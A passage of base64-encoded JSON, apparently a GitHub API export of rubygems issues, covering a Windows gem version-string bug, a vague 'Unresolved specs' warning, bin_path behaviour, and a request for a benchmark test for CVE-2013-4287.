uaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rbzEvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva28xL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva28xL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rbzEvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwODczMDQzOCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBkb2N1bWVudGF0aW9uIiwibmFtZSI6InR5cGU6IGRvY3VtZW50YXRpb24iLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNy0wNi0wOVQwMzoyNzoyNVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOC0yMFQxMzozMDoxNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9saWIvcnVieWdlbXMucmIjTDI0NVxyXG5cclxuYGBgXHJcbiAgIyBGaW5kIHRoZSBmdWxsIHBhdGggdG8gdGhlIGV4ZWN1dGFibGUgZm9yIGdlbSArbmFtZSsuICBJZiB0aGUgK2V4ZWNfbmFtZStcclxuICAjIGlzIG5vdCBnaXZlbiwgdGhlIGdlbSdzIGRlZmF1bHRfZXhlY3V0YWJsZSBpcyBjaG9zZW4sIG90aGVyd2lzZSB0aGVcclxuICAjIHNwZWNpZmllZCBleGVjdXRhYmxlJ3MgcGF0aCBpcyByZXR1cm5lZC4gICtyZXF1aXJlbWVudHMrIGFsbG93c1xyXG4gICMgeW91IHRvIHNwZWNpZnkgc3BlY2lmaWMgZ2VtIHZlcnNpb25zLlxyXG5cclxuICBkZWYgc2VsZi5iaW5fcGF0aChuYW1lLCBleGVjX25hbWUgPSBuaWwsICpyZXF1aXJlbWVudHMpXHJcbiAgICAjIFRPRE86IGZhaWxzIHRlc3Rfc2VsZl9iaW5fcGF0aF9iaW5fZmlsZV9nb25lX2luX2xhdGVzdFxyXG4gICAgIyBHZW06OlNwZWNpZmljYXRpb24uZmluZF9ieV9uYW1lKG5hbWUsICpyZXF1aXJlbWVudHMpLmJpbl9maWxlIGV4ZWNfbmFtZVxyXG5cclxuICAgIHJhaXNlIEFyZ3VtZW50RXJyb3IsIFwieW91IG11c3Qgc3VwcGx5IGV4ZWNfbmFtZVwiIHVubGVzcyBleGVjX25hbWVcclxuYGBgXHJcblxyXG5JZiBgZXhlY19uYW1lYCBpcyBub3QgZ2l2ZW4sIGl0IHJhaXNlcy4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0Ni9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0Ni9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ2IiwiaWQiOjIzNDMyNDA1NywibnVtYmVyIjoxOTQ2LCJ0aXRsZSI6IldpbmRvd3MgLXg2NC1taW5ndzMyIGdlbSB2ZXJzaW9uIHN0cmluZ3Mgb3ZlcndyaXR0ZW4gYW5kIHRoZW4gZ2VtIG5vdCBmb3VuZCIsInVzZXIiOnsibG9naW4iOiJza2lwcmh1ZHkiLCJpZCI6NjQ0NDIwMywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNjQ0NDIwMz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2tpcHJodWR5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2tpcHJodWR5IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2tpcHJodWR5L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NraXByaHVkeS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9za2lwcmh1ZHkvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NraXByaHVkeS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NraXByaHVkeS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NraXByaHVkeS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9za2lwcmh1ZHkvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9za2lwcmh1ZHkvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NraXByaHVkeS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MSwiY3JlYXRlZF9hdCI6IjIwMTctMDYtMDdUMTk6NTY6MTZaIiwidXBkYXRlZF9hdCI6IjIwMTctMDYtMDdUMjA6MDc6MDRaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkluIFdpbmRvd3MgSSBub3RpY2UgdGhhdCBpbnN0YWxsZWQgZ2VtcyBhcmUgbm90IGJlaW5nIGZvdW5kIHdoZW4gc3RhcnRpbmcgdXAgUmFpbHMuXHJcblxyXG5TcGVjaWZpYyBpc3N1ZTogXHJcblJ1YnkgdmVyc2lvbnMgMi4yLjUgYW5kIGhpZ2hlciByZW5hbWUgc29tZSBXaW5kb3dzIGdlbXMgaW4gdmVyc2lvbi5yYiBieSBnc3ViYmluZyAnLnByZS4nIGZvciAnLScgaW4gYSBnZW0ncyB2ZXJzaW9uIHN0cmluZy4gV2luZG93cyBoYXMgc29tZSBnZW1zIHdpdGggaW5zdGFsbGVkIG5hbWVzIGxpa2U6XHJcblxyXG5iY3J5cHQtMy4xLjExLXg2NC1taW5ndzMyXHJcbmJjcnlwdC1ydWJ5LTMuMS41LXg2NC1taW5ndzMyXHJcbm5va29naXJpLTEuNy4yLXg2NC1taW5ndzMyXHJcbnRpbnlfdGRzLTEuMy4wLXg2NC1taW5ndzMyXHJcblxyXG52ZXJzaW9uLnJiICdpbml0aWFsaXplJyBjaGFuZ2VzIHRoZSB2ZXJzaW9uIHRoYXQgd2FzIHBhc3NlZC4gRm9yIGV4YW1wbGUgcGFzc2luZyBpbiAgJzEuMy4wLXg2NC1taW5ndzMyJzpcclxuXHJcbmBgYFxyXG5kZWYgaW5pdGlhbGl6ZSB2ZXJzaW9uXHJcbiAgICByYWlzZSBBcmd1bWVudEVycm9yLCBcIk1hbGZvcm1lZCB2ZXJzaW9uIG51bWJlciBzdHJpbmcgI3t2ZXJzaW9ufVwiIHVubGVzc1xyXG4gICAgICBzZWxmLmNsYXNzLmNvcnJlY3Q/KHZlcnNpb24pXHJcblxyXG4gICAgQHZlcnNpb24gPSB2ZXJzaW9uLnRvX3Muc3RyaXAuZ3N1YihcIi1cIixcIi5wcmUuXCIpXHJcbiAgICBAc2VnbWVudHMgPSBuaWxcclxuZW5kXHJcbmBgYFxyXG53aWxsIHJlc3VsdCBpbiB0aGUgdmVyc2lvbiBjaGFuZ2luZyB0byAnMS4zLjAucHJlLng2NC5wcmUubWluZ3czMicsIHdoaWNoIGRvZXMgbm90IGV4aXN0IG9uIHRoZSBzeXN0ZW0gYW5kIGlzIGFsc28gbm90IGluIHRoZSBHZW1maWxlLlxyXG5cclxuSXMgdGhlIHJlbmFtaW5nIG9mIHRoZSBmaWxlIHN0cmljdGx5IGZvciBzb21lIGludGVybmFsIHJlYXNvbiBvZiB2ZXJzaW9uLnJiPyBTaG91bGQgdmVyc2lvbi5yYiBub3QgYmUgaW52b2tlZCBpbiBhbnkgd2F5IHdoZW4gdHJ5aW5nIHRvIGZpbmQgcmVhbCBnZW1zPyAgTXkgUmFpbHMgYXBwIGRlZmluaXRlbHkgaW52b2tlcyB2ZXJzaW9uLnJiICdpbml0aWFsaXplJyB3aGVuIHRyeWluZyB0byBsb2FkIGVhY2ggZ2VtIHNwZWNpZmllZCBpbiB0aGUgR2VtZmlsZS4gVGhlIHJlbmFtZWQgKGFuZCBub3cgZmljdGl0aW91cykgZ2VtIGNhbid0IGJlIGZvdW5kLCBhbmQgUmFpbHMgYm9tYnMgb3V0LlxyXG5cclxuSSBmb3VuZCB0aGlzIHRyeWluZyB0byB1c2UgUnVieSAyLjQuMSBvbiBXaW5kb3dzIHdoaWxlIGluIHRoZSBjb250ZXh0IG9mIHN0YXJ0aW5nIHVwIGEgUmFpbHMgYXBwIHdpdGggQnVuZGxlciAxLjE1LjEuIEJ5IHRlbXBvcmFyaWx5IGFsdGVyaW5nIHRoZSBpbml0aWFsaXplIGNvZGUgdG8gYWNjZXB0IHRoZSByZWFsIHZlcnNpb24gc3RyaW5nIG9mIHRoZSBnZW0gdGhlIHByb2JsZW0gd2VudCBhd2F5LlxyXG5cclxuVGhlIGxpbmUgb2YgY29kZSB0aGF0IHJlbmFtZXMgYSBmaWxlIGluIHZlcnNpb24ucmIgd2FzIGluc2VydGVkIGluIHYyLjIuNS4gXHJcblxyXG52Mi4yLjQsIHdoaWNoIGlzIHdoYXQgSSdtIHVzaW5nLCBkb2VzIG5vdCB1c2UgdGhlIHZlcnNpb24gcmUtbmFtaW5nIGNvZGUsIGFuZCBkb2VzIG5vdCBzaG93IHRoaXMgcHJvYmxlbSB3aGVuIFJhaWxzIHN0YXJ0cyB1cC4gSSdtIHVzaW5nIFJhaWxzIDUuMS4wXHJcblxyXG5NeSBjdXJyZW50ICgyLjIuNCkgZW52aXJvbm1lbnQgZG9lc24ndCBoYXZlIHRoZSBwcm9ibGVtIGJ1dCBhbnlvbmUgdXNpbmcgdmVyc2lvbi5yYiB2Mi4yLjUgYW5kIGFib3ZlIGNvdWxkIHNlZSB0aGlzIHJlbmFtZSBpc3N1ZSBoYXBwZW4gaWYgdGhlaXIgaW5zdGFsbGVkIGdlbXMgaGF2ZSAteDY0LW1pbmd3MzIgYXMgcGFydCBvZiB0aGUgdmVyc2lvbiBzdHJpbmcuXHJcblxyXG5SdWJ5R2VtcyBFbnZpcm9ubWVudCAoc2FucyByZS1uYW1lIHByb2JsZW06XHJcbiAgLSBSVUJZR0VNUyBWRVJTSU9OOiAyLjQuNS4xXHJcbiAgLSBSVUJZIFZFUlNJT046IDIuMi40ICgyMDE1LTEyLTE2IHBhdGNobGV2ZWwgMjMwKSBbeDY0LW1pbmd3MzJdXHJcbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L2dlbXMvMi4yLjBcclxuICAtIFJVQlkgRVhFQ1VUQUJMRTogQzovUnVieTIyLXg2NC9iaW4vcnVieS5leGVcclxuICAtIEVYRUNVVEFCTEUgRElSRUNUT1JZOiBDOi9SdWJ5MjIteDY0L2JpblxyXG4gIC0gU1BFQyBDQUNIRSBESVJFQ1RPUlk6IEM6L1VzZXJzL3h4eHhfeHh4eC8uZ2VtL3NwZWNzXHJcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IEM6L1Byb2dyYW1EYXRhXHJcbiAgLSBSVUJZR0VNUyBQTEFURk9STVM6XHJcbiAgICAtIHJ1YnlcclxuICAgIC0geDY0LW1pbmd3MzJcclxuICAtIEdFTSBQQVRIUzpcclxuICAgICAtIEM6L1J1YnkyMi14NjQvbGliL3J1YnkvZ2Vtcy8yLjIuMFxyXG4gICAgIC0gQzovVXNlcnMveHh4eF94eHh4Ly5nZW0vcnVieS8yLjIuMFxyXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XHJcbiAgICAgLSA6dXBkYXRlX3NvdXJjZXMgPT4gdHJ1ZVxyXG4gICAgIC0gOnZlcmJvc2UgPT4gdHJ1ZVxyXG4gICAgIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxyXG4gICAgIC0gOmJ1bGtfdGhyZXNob2xkID0+IDEwMDBcclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXHJcbiAgLSBTSEVMTCBQQVRIOlxyXG4gICAgIC0gQzpcXFJ1YnkyMi14NjRcXGJpblxyXG4uLi5cclxuICAgICAtIEM6XFxDb2RlXFxUb29sc1xcRGV2S2l0XFxiaW5cclxuICAgICAtIEM6XFxDb2RlXFxUb29sc1xcRGV2S2l0XFxtaW5nd1xyXG4gICAgIC0gQzpcXENvZGVcXFRvb2xzXFxEZXZLaXRcXG1pbmd3XFxiaW5cclxuLi4uXHJcbiAgICAgLSBDOlxcUnVieTIyLXg2NFxcYmluXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0NS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0NS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ1IiwiaWQiOjIzNDEwNDcyNywibnVtYmVyIjoxOTQ1LCJ0aXRsZSI6Ik1ha2UgXCJVbnJlc29sdmVkIHNwZWNzIGR1cmluZyBHZW06OlNwZWNpZmljYXRpb24ucmVzZXRcIiB3YXJuaW5nIG1vcmUgdXNlZnVsIiwidXNlciI6eyJsb2dpbiI6Im1hdGtvbmllY3oiLCJpZCI6ODk5OTg4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS84OTk5ODg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdGtvbmllY3oiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tYXRrb25pZWN6IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0a29uaWVjei9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXRrb25pZWN6L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdGtvbmllY3ovZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdGtvbmllY3ovc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXRrb25pZWN6L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0a29uaWVjei9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXRrb25pZWN6L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0a29uaWVjei9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0a29uaWVjei9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NiwiY3JlYXRlZF9hdCI6IjIwMTctMDYtMDdUMDY6Mjc6MDBaIiwidXBkYXRlZF9hdCI6IjIwMTctMTEtMDZUMTI6NTU6MjhaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IlwiV0FSTjogVW5yZXNvbHZlZCBzcGVjcyBkdXJpbmcgR2VtOjpTcGVjaWZpY2F0aW9uLnJlc2V0XCIgaXMgbm90IHZlcnkgdXNlZnVsIC0gaXQgYXBwZWFycyB3aXRob3V0IG1lbnRpb25pbmcgd2hhdCByZXF1ZXN0ZWQgZ2l2ZW4gZ2VtIHZlcnNpb24gYW5kIGl0IGFwcGVhcnMgaW4gc2l0dWF0aW9uIHdoZXJlIHdhbnRlZCBnZW0gdmVyc2lvbiBpcyBhdmFpbGFibGUuXHJcblxyXG5gYGBcclxuJCByc3BlYyBzcGVjL2Nhc2VfaW5zZW5zaXRpdmVfcGFyc2VyX3NwZWMucmIgXHJcbldBUk46IFVucmVzb2x2ZWQgc3BlY3MgZHVyaW5nIEdlbTo6U3BlY2lmaWNhdGlvbi5yZXNldDpcclxuICAgICAgZGlmZi1sY3MgKDwgMi4wLCA+PSAxLjIuMClcclxuV0FSTjogQ2xlYXJpbmcgb3V0IHVucmVzb2x2ZWQgc3BlY3MuXHJcblBsZWFzZSByZXBvcnQgYSBidWcgaWYgdGhpcyBjYXVzZXMgcHJvYmxlbXMuXHJcbmBgYFxyXG5cclxuZGVzcGl0ZSB0aGF0XHJcblxyXG5gYGBcclxuJCBnZW0gbGlzdCB8IGdyZXAgbGNzXHJcbmRpZmYtbGNzICgxLjMsIDEuMi41KVxyXG5gYGBcclxuXHJcbkl0IHdhcyBhbHJlYWR5IHJlcG9ydGVkIGFzICMxMzUwLCBidXQgaXQgd2FzIGNsb3NlZCBieSByZXBvcnRlciBkZXNwaXRlIGxhY2sgb2YgY2hhbmdlLlxyXG5cclxuLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuSSdtIGhhdmluZyBhIHByb2JsZW0gb3Igd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZS5cclxuXHJcbk15IGN1cnJlbnQgcHJvYmxlbSBpcyBjb25mdXNpbmcgZXJyb3IgbWVzc2FnZS5cclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuXHJcbiAgLSBbIF0gTmV0d29yayBwcm9ibGVtc1xyXG4gIC0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcbiAgLSBbWF0gT3RoZXJcclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuMTJcclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDAiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0MC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0MC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQwL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQwIiwiaWQiOjIzMzQwMDcyNSwibnVtYmVyIjoxOTQwLCJ0aXRsZSI6IkFkZCBiZW5jaG1hcmsgdGVzdCBmb3IgQ1ZFLTIwMTMtNDI4NyIsInVzZXIiOnsibG9naW4iOiJkdWNraW5hdG9yIiwiaWQiOjM5Njk4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8zOTY5OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvciIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3Ivc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MCwiY3JlYXRlZF9hdCI6IjIwMTctMDYtMDNUMjM6MTE6MjZaIiwidXBkYXRlZF9hdCI6IjIwMTctMDktMDRUMTM6NTA6NDRaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJNRU1CRVIiLCJib2R5IjoiQ29tbWVudHMgY29waWVkIGZyb20gIzE4MjY6XHJcblxyXG5AZHJicmFpbjpcclxuXHJcbj4gV2Ugc2hvdWxkIGFkZCBhIGJlbmNobWFyayB0ZXN0IGxpa2UgW3RoaXMgaW4gUkRvY10oaHR0cHM6Ly9naXRodWIuY29tL3Jkb2MvcmRvYy9ibG9iLzk3ZjUxNmEyNjI3M2VkNTg3MTUyYjdlOTdjMWM4MDI1YjQ2NDAwYmYvdGVzdC90ZXN0X3Jkb2NfY29udGV4dC5yYiNMNDEwLUw0MTgpICAobmVlZHMgYHJlcXVpcmUgJ21pbml0ZXN0L2JlbmNobWFyaydgKVxyXG5cclxuJmx0O3ZhcmlvdXMgZGlzY3Vzc2lvbiByZW1vdmVkOyBzZWUgIzE4MjYgZm9yIG90aGVyIGNvbW1lbnRzJmd0O1xyXG5cclxuQHNl